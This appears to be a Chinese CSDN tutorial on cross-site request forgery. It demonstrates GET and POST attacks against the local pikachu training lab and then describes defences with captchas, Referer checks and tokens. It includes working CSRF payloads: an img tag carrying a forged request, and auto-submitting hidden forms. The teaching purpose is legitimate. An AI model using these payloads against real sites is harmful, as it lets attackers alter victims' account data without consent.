CSRF漏洞原理、攻击及防御

SQL注入漏洞详解总结大全 SQL注入利用手法详解大全 阅读详情

CSRF漏洞原理、攻击及防御


什么是CSRF

CSRF (Cross-site request forgery),中文名称跨站请求伪造。利用CSRF,攻击者可以盗用你的身份,以你的名义发送恶意请求。 随时可能被攻击者利用,窃取用户权限、篡改数据甚至造成财产损失。


CSRF攻击原理

在这里插入图片描述

1、正常用户登录A网站,A网站会给用户发身份验证信息(如cookie),但是用户访问完A网站后没有退出,所以身份验证信息还会在浏览器的缓存中;
2、hack可以在B网站中,写入请求伪造代码,在用户访问到B网站时,向A网站发起恶意请求;
3、用户访问B网站,触发恶意代码的执行,向A网站发恶意请求;
4、因为用户已经有A网站的身份验证信息了,所以不用再次登录,可以直接发送请求恶意请求,从而实现权限修改、篡改数据、购买商品和转账等等;
简单来说:用户登录了A网站,A网站给用户返回了身份验证信息,然后用户没有退出就去访问了B网站,并触发了请求伪造代码,用户向A网站发送了恶意请求。

CSRF攻击必须同时满足两个条件:

  • 登录受信任网站A,并在本地生成身份验证信息。
  • 在不登出A的情况下,访问写入恶意请求代码的网站B。

CSRF的类型及演示

GET型CSRF

就是通过GET请求来发送恶意请求的CSRF,下面用pikachu靶场来演示一下
我们通过账号密码:vince:123456登录进去,可以看到修改个人信息的位置
在这里插入图片描述

点击进去,我们先修改一下手机号码,看一下网络请求
在这里插入图片描述
可以看到是通过GET发送修改电话请求,我们修改一下URL的参数值

/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=111&add=chain&email=vince%40pikachu.com&submit=submit

将下面代码提交到靶场XSS中来模拟hack写入网站B的请求伪造代码

<img src="http://127.0.0.1:81/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=111&add=chain&email=vince%40pikachu.com&submit=submit">

在这里插入图片描述
提交后,刷新页面,看一下请求记录
在这里插入图片描述
回到CSRF页面,看一下信息有没有被修改
在这里插入图片描述
成功修改


POST型CSRF

和GET型不一样的点,就是数据是在请求体中,直接开始演示吧
在这里插入图片描述
可以看到是通过POST发送修改电话请求,我们修改一下请求体中参数值

sex=boy&phonenum=222&add=chain&email=vince%40pikachu.com&submit=submit

将下面代码提交到靶场XSS中来模拟hack写入网站B的请求伪造代码

<form id=f action=http://127.0.0.1:81 method=post>
<input type=hidden name=sex value=boy>
<input type=hidden name=phonenum value=222>
<input type=hidden name=add value=chain>
<input type=hidden name=email value=vince@pikachu.com>
<input type=hidden name=submit value=submit>
</form>
<script>f.submit()</script>

在这里插入图片描述

提交后,刷新页面,看一下请求记录
在这里插入图片描述
这里长度超过了,我就不用这个靶场了,我写了一个页面来演示,复现记得改一下url

<!doctype html>
<iframe name="hiddenFrame" style="display:none"></iframe>

<form id="f"
      action="http://127.0.0.1:81/vul/csrf/csrfpost/csrf_post_edit.php"
      method="post"
      target="hiddenFrame">
  <input type="hidden" name="sex" value="boy">
  <input type="hidden" name="phonenum" value="222">
  <input type="hidden" name="add" value="chain">
  <input type="hidden" name="email" value="vince@pikachu.com">
  <input type="hidden" name="submit" value="submit">
</form>

<script>
  HTMLFormElement.prototype.submit.call(document.getElementById("f"));
</script>

我们访问一下这个页面,看一下请求
在这里插入图片描述
发送成功,看一下电话号码有没有改
在这里插入图片描述
成功修改


CSRF防御

  • 使用验证码:用户每次提交数据时都需要在表单中填写验证码,验证码要随机生成,通常情况下,验证码就已经可以很好的阻止CSRF攻击了,但并不是万能的,如验证码生成逻辑被破解,所以目前验证码只能是防御CSRF的一种辅助手段,不是主要解决方案。
  • 使用referer:在请求头中添加一个Referer,判断请求的来源地址是否在白名单中,如果是,则可以认为该请求是合法的,否则就拒绝用户请求。
  • 使用Token:可以在请求中添加一个参数,加入一个随机产生的Token,并在服务端进行token校验,如果请求中没有Token或者Token内容不正确,则认为是CSRF攻击而拒绝该请求。这也是防御CSRF攻击的主要手段。这里要注意,Token要通过HTTPS来传输,避免窃取;每一个Token在一个时间段中,只能对应一个用户,不能多用户同一时间共用一个Token;Token要设置过期时间,过期后重新生成,降低 Token 被复用的风险;

总结

CSRF 就是攻击者利用浏览器自动携带 Cookie 的机制,让已登录用户在不知情的情况下替攻击者完成操作。


如何系统学习网络安全?

网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。

构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。

如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

在这里插入图片描述

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

img

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

在这里插入图片描述

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

img

sql注入详解 目录前言? ?一、漏洞原因分析二、漏洞危害三、sql注入防范四、如何挖掘sql注入漏洞五、常见的注入手法联合查询(union注入)报错注入基于布尔的盲注基于时间的盲注HTTP头注入宽字节注入堆叠查询二阶注入六、sql注入getshell的几种方式结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没 阅读详情

相关推荐

CSRF漏洞原理攻击与防御

了解CSRF的机制之后,危害性我相信大家已经不言而喻了,我可以伪造某一个用户的身份给其好友发送 垃圾信息,这些垃圾信息的超链接可能带有木马程序或者一些欺骗信息(比如借钱之类的),如果CSRF 发送的垃圾信息还带有蠕虫链接的话,那些接收到这些有害信息的好友万一打开私信中的链接就也成为 了有害信息的散播着,这样数以万计的用户被窃取了资料种植了木马。而如果黑客要 对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行 时,该请求的 Referer 是指向黑客自己的网站。

A526847的博客 1319

SQL注入详解

针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序意料之外结果的攻击行为。 其成因可归结为以下两个原理叠加造成: 1、程序编写者在处理程序和数据库交互时,使用字符串凭借的方式构造SQL语句。 2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。 SQL注入的攻击方式分为:报错注入、布尔盲注 、延时注入、堆叠查询、联合查询 、二次注入等等

qq_48904485的博客 2万+

CSRF漏洞攻击原理及防御方案

CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。但是,如果用户还未退出网站A,或者当时恰巧刚访问网站A不久,他的浏览器与网站A之间的session 尚未过期,浏览器的cookie 之中含有用户的认证信息。这时,悲剧发生了,这个url 请求就会得到响应,黑客就能以用户的权限修改密码,且用户毫不知情。在通常情况下,验证码能很好遏制CSRF攻击。

xv7777666的博客 3747

【SQL注入】小白手把手入门SQL注入1-数据库基础

数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。关系型数据库关系型数据库是基于关系模型的数据库系统,使用表格(表)来组织数据。数据以行和列的形式存储在表中,每个表代表一个实体或关系,每一行表示一个数据记录,每一列表示记录的属性。关系型数据库使用结构化查询语言(SQL)进行数据的查询和操作。关系型数据库中表与表之间是有很多复杂的关联关系的常见的关系型数据库有等。非关系型数据库。

开水的博客 5532

内核编译-Pixel 6设备Android 13系统编译gki内核并整合KernelSU

如果未下载repo的先走这里流程,如果已经下载,忽略。先测试编译完成的内核是否能使用。手机环境Android13,原内核版本5.10.107.看内核日期是8月份。从官方的内核列表中发现8月份废弃,我就尝试找10月份的,下载。vm Ubuntu 22.04 500g-24g内存。为Pixel6编译内核,需要增加一些配置,和集成。点击下载,会显示这样的内容,把这里所有内容复制。就是下载完成了,接下里可以编译了。以下操作前提:具备全球通上网。以下操作前提:具备全球通上网。以下操作前提:具备全球通上网。

学习记录 5742

FFmpeg视频编码的流程详解及参考demo

本文主要讲解FFmpeg的视频编码的具体流程,API使用。最后再以一个非常简单的demo演示将一个yuv数据文件编码为H264的视频文件,也就是YUV编码为H264。

分享音视频技术 4502

CSRF漏洞原理攻击与防御(非常细)

CSRF漏洞原理攻击与防御 目录CSRF漏洞原理攻击与防御一、什么是CSRF?二、CSRF攻击原理及过程三、CSRF分类1. GET类型的CSRF2. POST类型的CSRF四、CSRF漏洞的挖掘五、CSRF漏洞的防御1、验证码2、在请求地址中添加 token 并验证3、在 HTTP 头中自定义属性并验证4、验证 HTTP Referer 字段总结 提示:以下是本篇文章正文内容,下面案例可供参考 一、什么是CSRF? CSRF (Cross-site request forgery,跨站请求伪造)也被称为

hello 8万+

六款经典限流保护电路设计:从原理到实战的完整指南

在电子系统设计中,过流保护是确保电路可靠运行的基础技术。其核心原理是通过电流采样、比较与执行三个环节构成闭环控制,将不可见的电流转化为可测量的电压信号进行处理。这项技术的核心价值在于防止因短路、堵转或异常负载导致的元器件损坏,从而提升整个系统的稳定性和安全性。在电源管理、电机驱动和精密仪器等应用场景中,限流保护电路都是不可或缺的安全屏障。本文深入解析了基于运放和晶体管搭建的经典方案,并重点探讨了采样电阻选型、参考电压生成以及PCB布局中的开尔文连接等工程实践要点,帮助读者从热门的DIY项目到工业控制都能实现

weixin_29166013的博客 358

CSRF漏洞原理攻击与防御 超详细

CSRF(Cross-Site Request Forgery,跨站点伪造请求)是一种网络攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性。具体来讲,可以这样理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

qq_48368964的博客 1737

VASP计算层错能(SFE)全攻略2

本文介绍了使用VASP计算纯镍(Ni)层错能(SFE)的具体步骤。首先构建Ni的FCC单胞并扩展为超胞,通过修改原子位置引入堆垛层错;随后分别计算完美晶体和含层错结构的能量;最后通过能量差与层错面积之比求得SFE值。计算需注意k点网格、截断能和超胞尺寸的收敛性测试,并推荐使用PAW赝势和ASE等工具辅助结构构建。

weixin_50519490的博客 1992

Transformer时序预测避坑指南:TFT在风电场的5个实战经验

本文分享了Temporal Fusion Transformer在风电场功率预测中的五个实战经验,涵盖数据预处理、模型调优、显存优化、注意力机制解读及在线部署。针对风电数据噪声大、概念漂移等挑战,提供了从构建数据质量标签到高效超参调优的具体方案,并强调利用Transformer架构的可解释性进行业务洞察,助力实现稳健的工业级时序预测。

bert9linguist的博客 464

CSRF漏洞原理攻击与防御(超详细)

CSRF(跨站请求伪造)是一种恶意攻击方式,攻击者利用用户已登录的状态,诱导其访问恶意网站从而执行非预期的操作。攻击成功的关键在于攻击者能预测目标请求的所有参数。CSRF攻击分为GET和POST类型,其中GET类型通过构造恶意URL实现(如银行转账操作)。要防范CSRF攻击,需避免使用GET请求执行敏感操作,并采用CSRF令牌等安全措施。攻击条件包括:用户已登录受信任站点且未登出,同时访问了恶意网站。

xx16755498986的博客 1058

OpenCV实战系列——图像线条提取

基于内容的图像分析,需要从构成图像的像素集合中提取有意义的特征。轮廓、线条、区域等是基本的图像基元,可用于描述图像中包含的元素。本节将介绍如何提取重要的图像线条特征。

m0_58523831的博客 1万+

CSRF漏洞原理攻击与防御(超详细版)

CSRF (Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。

m0_64365896的博客 850

bacnet 官方协议栈 bacnet-stack-0.8.2关于router例程BACnet MS/TP BACnet IP调试说明

bacnet 官方协议栈 bacnet-stack-0.8.2关于router例程mstp,bacnet ip调试说明

shufawangzhang的博客 2224

手把手教你学Simulink——基于Simulink的无感FOC(滑模观测器+PLL)实战

摘要: 本文详细介绍了基于Simulink的无感FOC(滑模观测器+PLL)实现方法。主要内容包括:1)SMO+PLL原理,通过滑模观测器估算反电动势,结合PLL抑制抖振;2)系统架构,替代编码器信号;3)Simulink建模流程,涵盖Clarke变换、SMO离散化实现、PLL设计等关键步骤;4)参数整定指南和工程实践要点,如启动策略和故障处理。该方法具有成本低、可靠性高的优势,适用于家电、电动车等场景,仿真结果显示角度误差±5°,速度动态跟随良好。文章还提供了调试建议和常见问题解决方案。

MHD0815的博客 140

【安全漏洞】CSRF漏洞攻击:原理、检测、防御、实践

目录 一、CSRF漏洞攻击原理 1、CSRF攻击原理图 2、CSRF攻击实例 二、CSRF漏洞检测 三、防御CSRF攻击 1、验证 HTTP Referer 字段 2、在请求地址中添加 token 并验证 3、在 HTTP 头中自定义属性并验证 四、生产bug实践 1、生产csrf漏洞发现,见jira截图 2、解决策略: 法1:加拦截器,校验referer字段 法2:加验...

开着奥迪卖小猪 3691

HQChart实战教程54:Renko砖形K线图实现详解

Renko图(砖形图)起源于日本,只关注价格变动而忽略时间和成交量因素: 2.2 算法说明 初始化:使用第一根K线的收盘价创建第一个砖块 变动检测:计算当前价格与最后一个砖块的差值 砖块生成: 当价格变动≥砖块大小时,生成新砖块 当价格变动不足时,更新当前砖块的高低价 方向判断:根据价格变动方向确定砖块颜色 三、完整实现代码 四、Renko图的高级应用 4.1 动态砖块大小调整 4.2 Renko交易策略 三砖反转策略:趋势跟踪策略:本文详细介绍了Renko图的实现原理和在HQChart中的应

QQ_778132974的博客 875
上一篇: 注入漏洞-SQL注入
下一篇: SSRF漏洞原理、漏洞点、利用与防御
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值